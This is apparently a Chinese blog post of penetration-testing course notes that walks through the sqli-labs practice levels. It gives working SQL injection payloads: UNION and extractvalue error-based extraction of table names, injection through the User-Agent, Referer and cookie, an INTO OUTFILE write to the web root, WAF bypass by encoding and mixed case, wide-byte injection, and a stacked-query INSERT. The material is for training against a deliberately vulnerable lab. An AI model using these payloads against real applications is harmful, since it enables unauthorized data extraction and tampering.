• 欢迎访问小澍的博客,编程记录,技术贴以及折腾的日常,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏我的博客吧

7.18 高级SQL注入实战

PTE课程实录 root 1年前 (2019-07-18) 547次浏览 已收录 0个评论

Day 03

今天主要介绍了多种常见的SQL注入方法,所以今天的笔记直接以实例来说明注入思路,但总的思路依旧是判断后台的SQL语句,然后进行语句构造。

less-7(补充)

昨天未收录第7题,题目屏蔽了报错提示,依靠SQL文件上传,将文件上传服务器,确定闭合方式后,上传直接查看文件,这里给出payload:

?id=-1'))union select1,database(),3 into outfile"/var/www/html/Less-7/ly2.txt" --+

注意一般的地址可能是/var/www/html或/var/www/

less-11,12:

  1. 题目出现登录框,在username中输入转义字符,后端未过滤,确定’ 闭合;
  2. 构造:’ order by 2 # 确定可查几列,最终确定一共有两列可查
  3. 构造查询payload:
' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() )#

blob.jpg
12题闭合方式不同,做法一样

less-13,14

  1. 转义字符获得闭合方式: (”)
  2. 联合查询失效,换报错注入,这里提供更简单的xml报错注入,可用 extractvalue或updatexml,其报错原理是提供了错误的xml地址,从而后端直接显示了用户提交的错误xml地址明文,错误的地址即我们构造的注入语句;
    3.payload:
') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

14 题换成了””闭合,只需改一下闭合即可

less 15,16

没有报错提示,只能盲注
1. 穷举,在两个字段出同时使用猜解闭合接or 1=1 #
确定是’闭合
2. 使用时间盲注,这里不用payload,需要脚本或工具,这里会再来一篇文章来说明;

less 17

题目本身在修改密码,尝试后发现password可报错,直接上报错注入,构造单引号闭合报错注入即可。

18-20

18题开始,开始有提示在监控本地信息,上BP(注意本使用本地web练习的时候,在Switch Omega Burp场景中将不走代理列表里清空)。
这里的场景是我们有一个可用的登录用户名密码,使用用户名和密码为admin admin登录,抓包:
同时看到web显示了UA,说明,UA被读取并写进了网页的数据库,对UA注入,确定’闭合后,进行报错注入。

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '1'='1

19题 通过修改reffer 注入,只是和18的注入点不同,payload 和18相同;

20 题是显示cookie注入,方法和上面相同

21 题也是cokkie注入,但发现cookie已经被编码,先将转义字符base64编码确定闭合方式’,再将18的注入语句编码后即可;

22 为双引号闭合,做法和21 相同

less-24

(23和后面的是WAF类型一起说)
一道趣味题,场景为某用户名但不知道密码,通过构造相同用户名衔接闭合符注释符来注册用户名,在修改密码后相当于修改了原用户名的密码

23,25-38(部分)

这十几道题目都和WAF有关,开始过滤了常用的or and \ 等等,解决办法包括了宽字节,url编码转义。
一些常见的url编码包括:

%09  水平tab
%01  新建一行
%0c  新建一页
%0d  return
%0b  垂直tab
%a0  space
%23 #
%5c  \
%27  '

遇到字符过滤的时候,直接使用url编码,绕过过滤。

23: 确定闭合’ 使用id=-1′ union select 1,2,’3
25:屏蔽or 可以用oorr或者||代替,可用1’||extractvalue() 注意information中也有or
27: 使用随机大小写 构建union select:

id=100'%a0UniOn%a0SelEct%a01,databse(),3%a0or%a0'1'='1

34:宽字节注入,使用 %df%5c%27,前面df 和 5c被认为是汉字成为无效字符,最终%27可转义为’ 从而进行注入。
38:使用了堆叠注入,(必须看源码),使用了mysqli_multi_query(con1, sql) 函数可产生该漏洞,payload:

?id=2';insert into users(id,username,password) values('99','gao','123')--+

End

这不是SQL注入的终点,只是培训关于SQL注入的部分结束了,后续就使用工具进行盲注以及WAF相关的SQL注入还会继续写两篇文章。


XiaoShuBlog , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:7.18 高级SQL注入实战
喜欢 (0)
[gaosirgoo@foxmail.com]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址